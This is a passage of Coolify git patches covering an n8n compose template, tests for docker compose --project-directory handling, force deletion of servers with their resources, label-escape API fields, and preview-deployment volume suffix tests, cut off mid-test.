JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEwLjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEwLjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "n8n", "workflow", diff --git a/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php b/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php index 2d33b60f9..4d69d0894 100644 --- a/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php +++ b/tests/Unit/DockerComposePreserveRepositoryStartCommandTest.php @@ -75,6 +75,55 @@ expect($startCommand)->toContain("-f {$serverWorkdir}{$composeLocation}"); }); +it('injects --project-directory with host path when preserveRepository is true', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $containerWorkdir = '/artifacts/deployment-uuid'; + $preserveRepository = true; + + $customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d'; + + // Simulate the --project-directory injection from deploy_docker_compose_buildpack() + if (! str($customStartCommand)->contains('--project-directory')) { + $projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir; + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); + } + + // When preserveRepository is true, --project-directory must point to host path + expect($customStartCommand)->toContain("--project-directory {$serverWorkdir}"); + expect($customStartCommand)->not->toContain('/artifacts/'); +}); + +it('injects --project-directory with container path when preserveRepository is false', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $containerWorkdir = '/artifacts/deployment-uuid'; + $preserveRepository = false; + + $customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d'; + + // Simulate the --project-directory injection from deploy_docker_compose_buildpack() + if (! str($customStartCommand)->contains('--project-directory')) { + $projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir; + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); + } + + // When preserveRepository is false, --project-directory must point to container path + expect($customStartCommand)->toContain("--project-directory {$containerWorkdir}"); + expect($customStartCommand)->not->toContain('/data/coolify/applications/'); +}); + +it('does not override explicit --project-directory in custom start command', function () { + $customProjectDir = '/custom/path'; + $customStartCommand = "docker compose --project-directory {$customProjectDir} up -d"; + + // Simulate the --project-directory injection — should be skipped + if (! str($customStartCommand)->contains('--project-directory')) { + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory /should-not-appear')->value(); + } + + expect($customStartCommand)->toContain("--project-directory {$customProjectDir}"); + expect($customStartCommand)->not->toContain('/should-not-appear'); +}); + it('uses container paths for env-file when preserveRepository is false', function () { $workdir = '/artifacts/deployment-uuid/backend'; $composeLocation = '/compose.yml'; From b8390482b8a9b09a61a38fbe22857a9ec5f8b697 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 13 Mar 2026 16:58:26 +0100 Subject: [PATCH 205/305] feat(server): allow force deletion of servers with resources Add ability to force delete servers along with their defined resources: - API: Accept ?force=true query parameter in DELETE /servers endpoint - UI: Display checkbox option to delete all resources in deletion dialog When force deletion is enabled, all associated resources are dispatched via DeleteResourceJob before the server is removed, enabling one-step deletion instead of requiring manual resource cleanup first. --- .../Controllers/Api/ServersController.php | 15 ++++++++++-- app/Livewire/Server/Delete.php | 23 +++++++++++++++++-- openapi.json | 10 ++++++++ openapi.yaml | 8 +++++++ .../views/livewire/server/delete.blade.php | 2 +- .../views/livewire/server/navbar.blade.php | 2 +- 6 files changed, 54 insertions(+), 6 deletions(-) diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 892457925..da94521a8 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -7,6 +7,7 @@ use App\Enums\ProxyStatus; use App\Enums\ProxyTypes; use App\Http\Controllers\Controller; +use App\Jobs\DeleteResourceJob; use App\Models\Application; use App\Models\PrivateKey; use App\Models\Project; @@ -758,12 +759,22 @@ public function delete_server(Request $request) if (! $server) { return response()->json(['message' => 'Server not found.'], 404); } - if ($server->definedResources()->count() > 0) { - return response()->json(['message' => 'Server has resources, so you need to delete them before.'], 400); + + $force = filter_var($request->query('force', false), FILTER_VALIDATE_BOOLEAN); + + if ($server->definedResources()->count() > 0 && ! $force) { + return response()->json(['message' => 'Server has resources. Use ?force=true to delete all resources and the server, or delete resources manually first.'], 400); } if ($server->isLocalhost()) { return response()->json(['message' => 'Local server cannot be deleted.'], 400); } + + if ($force) { + foreach ($server->definedResources() as $resource) { + DeleteResourceJob::dispatch($resource); + } + } + $server->delete(); DeleteServer::dispatch( $server->id, diff --git a/app/Livewire/Server/Delete.php b/app/Livewire/Server/Delete.php index beb8c0a12..d06543b39 100644 --- a/app/Livewire/Server/Delete.php +++ b/app/Livewire/Server/Delete.php @@ -3,6 +3,7 @@ namespace App\Livewire\Server; use App\Actions\Server\DeleteServer; +use App\Jobs\DeleteResourceJob; use App\Models\Server; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -15,6 +16,8 @@ class Delete extends Component public bool $delete_from_hetzner = false; + public bool $force_delete_resources = false; + public function mount(string $server_uuid) { try { @@ -32,15 +35,22 @@ public function delete($password, $selectedActions = []) if (! empty($selectedActions)) { $this->delete_from_hetzner = in_array('delete_from_hetzner', $selectedActions); + $this->force_delete_resources = in_array('force_delete_resources', $selectedActions); } try { $this->authorize('delete', $this->server); - if ($this->server->hasDefinedResources()) { - $this->dispatch('error', 'Server has defined resources. Please delete them first.'); + if ($this->server->hasDefinedResources() && ! $this->force_delete_resources) { + $this->dispatch('error', 'Server has defined resources. Please delete them first or select "Delete all resources".'); return; } + if ($this->force_delete_resources) { + foreach ($this->server->definedResources() as $resource) { + DeleteResourceJob::dispatch($resource); + } + } + $this->server->delete(); DeleteServer::dispatch( $this->server->id, @@ -60,6 +70,15 @@ public function render() { $checkboxes = []; + if ($this->server->hasDefinedResources()) { + $resourceCount = $this->server->definedResources()->count(); + $checkboxes[] = [ + 'id' => 'force_delete_resources', + 'label' => "Delete all resources ({$resourceCount} total)", + 'default_warning' => 'Server cannot be deleted while it has resources.', + ]; + } + if ($this->server->hetzner_server_id) { $checkboxes[] = [ 'id' => 'delete_from_hetzner', diff --git a/openapi.json b/openapi.json index 849dee363..f5d9813b3 100644 --- a/openapi.json +++ b/openapi.json @@ -9685,6 +9685,11 @@ "type": "boolean", "default": false, "description": "Force domain override even if conflicts are detected." + }, + "is_container_label_escape_enabled": { + "type": "boolean", + "default": true, + "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." } }, "type": "object" @@ -10011,6 +10016,11 @@ "type": "boolean", "default": false, "description": "Force domain override even if conflicts are detected." + }, + "is_container_label_escape_enabled": { + "type": "boolean", + "default": true, + "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 226295cdb..81753544f 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -6152,6 +6152,10 @@ paths: type: boolean default: false description: 'Force domain override even if conflicts are detected.' + is_container_label_escape_enabled: + type: boolean + default: true + description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' type: object responses: '201': @@ -6337,6 +6341,10 @@ paths: type: boolean default: false description: 'Force domain override even if conflicts are detected.' + is_container_label_escape_enabled: + type: boolean + default: true + description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' type: object responses: '200': diff --git a/resources/views/livewire/server/delete.blade.php b/resources/views/livewire/server/delete.blade.php index 073849452..dec1d3f6d 100644 --- a/resources/views/livewire/server/delete.blade.php +++ b/resources/views/livewire/server/delete.blade.php @@ -14,7 +14,7 @@ back!
@if ($server->definedResources()->count() > 0) -
You need to delete all resources before deleting this server.
+
This server has resources. You can force delete all resources by checking the option below.
@endif
{{ data_get($server, 'name') }}
+ @can('update', $resource) +
+ +
+ @endcan
@if (!$isReadOnly) @can('update', $resource) diff --git a/resources/views/livewire/project/shared/storages/show.blade.php b/resources/views/livewire/project/shared/storages/show.blade.php index 694f7d4f2..a3a486b92 100644 --- a/resources/views/livewire/project/shared/storages/show.blade.php +++ b/resources/views/livewire/project/shared/storages/show.blade.php @@ -38,6 +38,13 @@
@endif + @can('update', $resource) +
+ +
+ @endcan @else @can('update', $resource) @if ($isFirst) @@ -54,6 +61,13 @@
@endif + @if (data_get($resource, 'settings.is_preview_deployments_enabled')) +
+ +
+ @endif
Update diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php index acc560e68..367770b08 100644 --- a/tests/Unit/PreviewDeploymentBindMountTest.php +++ b/tests/Unit/PreviewDeploymentBindMountTest.php @@ -3,12 +3,13 @@ /** * Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments. * - * Bind mount volumes (e.g., ./scripts:/scripts:ro) should NOT get a -pr-N suffix - * during preview deployments, because the repo files exist at the original path. - * Only named Docker volumes need the suffix for isolation between PRs. + * Bind mount volumes use a per-volume `is_preview_suffix_enabled` setting to control + * whether the -pr-N suffix is applied during preview deployments. + * When enabled (default), the suffix is applied for data isolation. + * When disabled, the volume path is shared with the main deployment. + * Named Docker volumes also respect this setting. */ -it('does not apply preview deployment suffix to bind mount source paths', function () { - // Read the applicationParser volume handling in parsers.php +it('uses is_preview_suffix_enabled setting for bind mount suffix in preview deployments', function () { $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); // Find the bind mount handling block (type === 'bind') @@ -16,12 +17,14 @@ $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')"); $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart); - // Bind mount paths should NOT be suffixed with -pr-N - expect($bindBlock)->not->toContain('addPreviewDeploymentSuffix'); + // Bind mount block should check is_preview_suffix_enabled before applying suffix + expect($bindBlock) + ->toContain('$isPreviewSuffixEnabled') + ->toContain('is_preview_suffix_enabled') + ->toContain('addPreviewDeploymentSuffix'); }); it('still applies preview deployment suffix to named volume paths', function () { - // Read the applicationParser volume handling in parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); // Find the named volume handling block (type === 'volume') @@ -39,3 +42,68 @@ $result = addPreviewDeploymentSuffix('myvolume', 0); expect($result)->toBe('myvolume'); }); + +/** + * Tests for GitHub issue #7343: $uuid mutation in label generation leaks into + * subsequent services' volume paths during preview deployments. + * + * The label generation block must use a local variable ($labelUuid) instead of + * mutating the shared $uuid variable, which is used for volume base paths. + */ +it('does not mutate shared uuid variable during label generation', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Find the FQDN label generation block + $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;'); + $labelBlock = substr($parsersFile, $labelBlockStart, 300); + + // Should use $labelUuid, not mutate $uuid + expect($labelBlock) + ->toContain('$labelUuid = $resource->uuid') + ->not->toContain('$uuid = $resource->uuid') + ->not->toContain("\$uuid = \"{$resource->uuid}"); +}); + +it('uses labelUuid in all proxy label generation calls', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Find the FQDN label generation block (from shouldGenerateLabelsExactly to the closing brace) + 